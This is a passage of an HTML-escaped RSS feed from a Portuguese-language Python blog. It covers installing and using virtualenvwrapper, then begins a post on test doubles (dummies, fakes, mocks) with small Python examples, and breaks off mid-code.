&lt;li&gt;Organiza todos os seus ambientes virtuais em um único lugar.&lt;/li&gt;
&lt;li&gt;Adiciona funções de &lt;em&gt;create&lt;/em&gt;, &lt;em&gt;delete&lt;/em&gt; e &lt;em&gt;copy&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Troca de ambiente com um único comando.&lt;/li&gt;
&lt;li&gt;Permite a criação de &lt;em&gt;hooks&lt;/em&gt; para todas as suas operações.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Além disso, é uma ferramenta bem documentada! As instruções a seguir
são todas retiradas da própria &lt;a href=&quot;https://virtualenvwrapper.readthedocs.org/en/latest/&quot;&gt;documentação&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1163f3b60ffe996119f9ad3d133755d2/b4294/virtual-reality.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 67.70833333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDAQT/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB50i9kTQ//8QAHBAAAgICAwAAAAAAAAAAAAAAAQIAAwQSESIx/9oACAEBAAEFAnJ2VBZPJt0xrCoY8n//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAdEAABAwUBAAAAAAAAAAAAAAAAAQIREBITIXGB/9oACAEBAAY/Arl9kXHuCB3B9P/EABkQAQEBAQEBAAAAAAAAAAAAAAERACFRQf/aAAgBAQABPyExhEq6mgyv15kuvmLBrcIi9mKqO//aAAwDAQACAAMAAAAQoA//xAAXEQADAQAAAAAAAAAAAAAAAAAAAREh/9oACAEDAQE/EFiIf//EABcRAAMBAAAAAAAAAAAAAAAAAAABESH/2gAIAQIBAT8Qesp//8QAHBABAAMAAgMAAAAAAAAAAAAAAQARITFRYYHR/9oACAEBAAE/EEXqwtE6l93imayLb7yAgoqO9BLt8R3hRWPV/Y8uHnZ//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Não confunda ambiente virtual com realidade virtual (oculus-news.com)&amp;quot;&quot;
        title=&quot;Não confunda ambiente virtual com realidade virtual (oculus-news.com)&quot;
        src=&quot;/static/1163f3b60ffe996119f9ad3d133755d2/b4294/virtual-reality.jpg&quot;
        srcset=&quot;/static/1163f3b60ffe996119f9ad3d133755d2/7809d/virtual-reality.jpg 192w,
/static/1163f3b60ffe996119f9ad3d133755d2/4ecad/virtual-reality.jpg 384w,
/static/1163f3b60ffe996119f9ad3d133755d2/b4294/virtual-reality.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não confunda ambiente virtual com realidade virtual (oculus-news.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Instalando&lt;/h2&gt;
&lt;p&gt;Para instalar o &lt;em&gt;virtualenvwrapper&lt;/em&gt;, o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; é o caminho mais fácil:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install virtualenvwrapper&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se você estiver usando o &lt;em&gt;Bash&lt;/em&gt;, será necessário executar as seguintes instruções após a instalação (recomendável colocá-las em seu &lt;code class=&quot;language-text&quot;&gt;~/.bash_profile&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ export WORKON_HOME=~/.virtualenvs
$ source /usr/local/bin/virtualenvwrapper.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso você utilize o &lt;a href=&quot;https://github.com/robbyrussell/oh-my-zsh&quot; title=&quot;A delightful community-driven framework for managing your zsh configuration&quot;&gt;&lt;em&gt;oh-my-zsh&lt;/em&gt;&lt;/a&gt;, basta adicionar o &lt;a href=&quot;https://github.com/robbyrussell/oh-my-zsh/tree/master/plugins/virtualenvwrapper&quot; title=&quot;Plugin do oh-my-zsh&quot;&gt;&lt;em&gt;virtualenvwrapper&lt;/em&gt;&lt;/a&gt; ao seu &lt;code class=&quot;language-text&quot;&gt;plugins&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A partir de agora, temos novos comandos disponíveis em nossa linha de comando.&lt;/p&gt;
&lt;h2&gt;Usando&lt;/h2&gt;
&lt;p&gt;Antes de mais nada, uma dica: Se você não quer mais cair no pecado de instalar
pacotes &lt;em&gt;Python&lt;/em&gt; em seu sistema operacional,
e permitir apenas instalação em &lt;em&gt;virtualenvs&lt;/em&gt;, basta exportar a seguinte variável de ambiente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;export PIP_REQUIRE_VIRTUALENV=true&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! O &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; apenas continuará o procedimento de instalação de pacotes se você
estiver com o seu ambiente virtual ativo.&lt;/p&gt;
&lt;p&gt;Para criar um &lt;em&gt;virtualenv&lt;/em&gt;, utilizamos o comando &lt;code class=&quot;language-text&quot;&gt;mkvirtualenv&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mkvirtualenv teste&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso você queira criar um ambiente para uma versão de &lt;em&gt;Python&lt;/em&gt; diferente da &lt;em&gt;default&lt;/em&gt;
do seu sistema, basta especificar com o parâmetro &lt;code class=&quot;language-text&quot;&gt;--python&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mkvirtualenv teste_py3 --python=/usr/local/bin/python3.4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Estamos com o ambiente ativo, isolado e totalmente limpo! Vamos instalar o
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;(teste) $ pip install django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E como sei que o meu pacote foi instalado em um ambiente isolado, e não no
&lt;code class=&quot;language-text&quot;&gt;site-packages&lt;/code&gt; do meu sistema operacional? No caso do exemplo acima, podemos
garantir verificando o &lt;em&gt;path&lt;/em&gt; do executável &lt;code class=&quot;language-text&quot;&gt;django-admin&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;(teste) $ which django-admin
/Users/&amp;lt;user&gt;/.virtualenvs/teste/bin/django-admin&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Notem o &lt;code class=&quot;language-text&quot;&gt;.virtualenvs/teste/&lt;/code&gt; no &lt;em&gt;path&lt;/em&gt;. Muito legal, não? Dessa forma, se eu tiver
um projeto que necessite do &lt;em&gt;Django 1.4&lt;/em&gt;, por exemplo, consigo instalá-lo sem
afetar os demais projetos na minha máquina.&lt;/p&gt;
&lt;p&gt;Para desativar o &lt;em&gt;environ&lt;/em&gt;, basta executar o comando &lt;code class=&quot;language-text&quot;&gt;deactivate&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;(teste) $ deactivate&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E para trocar de ambiente virtual, usamos o comando &lt;code class=&quot;language-text&quot;&gt;workon&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ workon teste&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso você queira ir para a pasta correspondente ao projeto,
sempre que realizar o &lt;code class=&quot;language-text&quot;&gt;workon&lt;/code&gt;, basta utilizar o comando &lt;code class=&quot;language-text&quot;&gt;setvirtualenvproject&lt;/code&gt;
no diretório escolhido:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ workon teste
$ cd ~/Workspace/teste
$ setvirtualenvproject
Setting project for teste to /Users/&amp;lt;user&gt;/Workspace/teste&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Agora toda vez que você fizer um &lt;code class=&quot;language-text&quot;&gt;workon&lt;/code&gt;, será automaticamente
direcionado para a pasta &lt;code class=&quot;language-text&quot;&gt;~/Workspace/teste&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Quando você trabalha com inúmeros projetos em &lt;em&gt;Python&lt;/em&gt;, fica muito evidente
a necessidade de ambientes virtuais. Ter diferentes &lt;em&gt;libs&lt;/em&gt;, de diferentes
projetos, em diferentes versões, de maneira isolada é sem dúvida nenhuma
uma das maiores vantagens de utilizar &lt;em&gt;virtualenv&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Então, se você quer começar em &lt;em&gt;Python&lt;/em&gt; (de forma &quot;profissional&quot;), a minha
dica é: Comece instalando o &lt;em&gt;virtualenvwrapper&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://virtualenvwrapper.readthedocs.org/en/latest/&quot; title=&quot;Leia a documentação da ferramenta&quot;&gt;&lt;em&gt;virtualenvwrapper - Docs&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Os testes e os dublês - Parte 2]]></title><description><![CDATA[No post anterior, vimos um dos
cenários de testes utilizados por times da Globo.com, onde não escrevemos testes "isolados"
(famigerados…]]></description><link>https://klauslaube.com.br/2015/06/29/os-testes-e-os-dubles-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2015/06/29/os-testes-e-os-dubles-parte-2.html</guid><pubDate>Mon, 29 Jun 2015 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2014/08/07/os-testes-e-os-dubles-parte-1.html&quot; title=&quot;Os testes e os Dublês - Parte 1&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;, vimos um dos
cenários de testes utilizados por times da &lt;a href=&quot;http://globo.com&quot; title=&quot;Absolutamente tudo sobre notícias, esportes e entretenimento&quot;&gt;&lt;em&gt;Globo.com&lt;/em&gt;&lt;/a&gt;, onde não escrevemos testes &quot;isolados&quot;
(famigerados &lt;em&gt;&lt;a href=&quot;https://elearning.industriallogic.com/gh/submit?Action=AlbumContentsAction&amp;#x26;album=theBasics&amp;#x26;devLanguage=Java&quot; title=&quot;Testing Single Responsibilities at High Speed&quot;&gt;microtests&lt;/a&gt;&lt;/em&gt;),
e abusamos da integração entre classes e serviços.&lt;/p&gt;
&lt;p&gt;Mas até mesmo para nós existe um limite que não podemos ultrapassar: O caso
de uma consulta a uma &lt;em&gt;API&lt;/em&gt; externa, por exemplo. Nesse cenário, precisamos
fingir que estamos fazendo isso, sem perder a segurança em nossas asserções.&lt;/p&gt;
&lt;h2&gt;Dublês ao resgate&lt;/h2&gt;
&lt;p&gt;Como já mencionado, os &lt;em&gt;test doubles&lt;/em&gt; têm por finalidade substituir um objeto
real, afim de validar algum conceito em nossos testes.&lt;/p&gt;
&lt;p&gt;Para auxiliar-nos nessa demanda, vamos utilizar a &lt;strong&gt;Python Mock&lt;/strong&gt;, biblioteca
de &lt;em&gt;mocking&lt;/em&gt; padrão do &lt;em&gt;Python 3&lt;/em&gt;. Com ela, poderemos fingir integrações
complexas da nossa aplicação, com o objetivo de testar um determinado
comportamento em &quot;custo&quot; e tempos atrativos.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6d2937bb703c3aaac5ccb2f7c3921185/41099/testing-vader.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 80.20833333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAcKmVgkA/8QAGRABAAIDAAAAAAAAAAAAAAAAAQIQABEh/9oACAEBAAEFAh0s4yozlf/EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABwQAAAGAwAAAAAAAAAAAAAAAAABAhARMRIyYf/aAAgBAQAGPwKpEYILpNY2b//EABoQAQACAwEAAAAAAAAAAAAAAAEAIRExYXH/2gAIAQEAAT8hIFHDCN765jCLeERGtcjc/9oADAMBAAIAAwAAABArz//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABsQAAICAwEAAAAAAAAAAAAAAAERACExUXGB/9oACAEBAAE/EBMQcD2DLwKAUSsk05l5KNLYYbh09DdOESdz/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;I find your lack of tests disturbing (jasonpolites.github.io)&amp;quot;&quot;
        title=&quot;I find your lack of tests disturbing (jasonpolites.github.io)&quot;
        src=&quot;/static/6d2937bb703c3aaac5ccb2f7c3921185/41099/testing-vader.jpg&quot;
        srcset=&quot;/static/6d2937bb703c3aaac5ccb2f7c3921185/7809d/testing-vader.jpg 192w,
/static/6d2937bb703c3aaac5ccb2f7c3921185/4ecad/testing-vader.jpg 384w,
/static/6d2937bb703c3aaac5ccb2f7c3921185/41099/testing-vader.jpg 500w&quot;
        sizes=&quot;(max-width: 500px) 100vw, 500px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;I find your lack of tests disturbing (jasonpolites.github.io)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se você (assim como eu) ainda está no &lt;em&gt;Python 2.7.X&lt;/em&gt;, podemos instalar a &lt;em&gt;lib&lt;/em&gt;
através do &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install mock&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;http://www.voidspace.org.uk/python/mock/#installing&quot; title=&quot;Mock - Installing&quot;&gt;Mais instruções para instalação da &lt;em&gt;Mock&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Uma vez instalada, podemos partir para conceituar de forma prática cada um dos
tipos de dublês listados no &lt;em&gt;post&lt;/em&gt; anterior.&lt;/p&gt;
&lt;h2&gt;Dummys&lt;/h2&gt;
&lt;p&gt;Um &lt;em&gt;Dummy Object&lt;/em&gt; é um tipo de dublê muito simples, que é usado apenas para
preencher passagens de parâmetros:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Carro&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    rodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; descricao
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; fabricante

&lt;span class=&quot;token comment&quot;&gt;# Teste&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_usando_dummy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;
    carro &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Carro&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Fusca&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; carro&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rodas &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como observado, um &lt;em&gt;Dummy&lt;/em&gt; não precisa ser necessariamente um &lt;em&gt;mock&lt;/em&gt;. Um valor
em branco, nulo, uma string vazia, qualquer coisa usada para substituir um
objeto real em uma passagem de parâmetro, pode ser considerado um &lt;em&gt;Dummy&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Fakes&lt;/h2&gt;
&lt;p&gt;Um &lt;em&gt;Fake&lt;/em&gt; é um objeto com certa funcionalidade, muito útil para resolver
alguma dependência em testes, mas que não é ideal para o ambiente de
produção:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Carro&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    rodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; descricao
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; fabricante

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__str__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;{0} ({1})&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_descricao&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Teste&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FabricanteFake&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    descricao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Volkswagen&apos;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;get_descricao&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_usando_fake&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; FabricanteFake&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    carro &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Carro&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Fusca&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;carro&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Fusca (Volkswagen)&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No exemplo acima, (ainda) não utilizamos nenhum recurso da &lt;strong&gt;Mock&lt;/strong&gt;. Dependendo
do contexto, não precisamos de uma biblioteca para criarmos um &lt;em&gt;Fake&lt;/em&gt;, e isso
pode ser encarado de forma positiva, pois fica muito clara a nossa intenção
no teste.&lt;/p&gt;
&lt;p&gt;É relativamente comum vermos &lt;em&gt;Fakes&lt;/em&gt; sendo utilizados para &quot;dublar&quot; acessos
a um banco de dados. Quando falamos de testes em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;,
geralmente utilizamos uma persistência mais leve (como um banco &lt;em&gt;SQLite&lt;/em&gt;, por exemplo)
que substitui um banco mais complexo, tornando a nossa suíte de testes
mais simples.&lt;/p&gt;
&lt;h2&gt;Mocks&lt;/h2&gt;
&lt;p&gt;Um tipo de dublê criado para um teste específico. Com ele, somos capazes
de setar retornos de valores pré-definidos, bem como verificar se algum
método foi chamado durante a execução do teste:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Carro&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    rodas &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; descricao&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fabricante&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;descricao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; descricao
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fabricante &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; fabricante

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;__str__&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
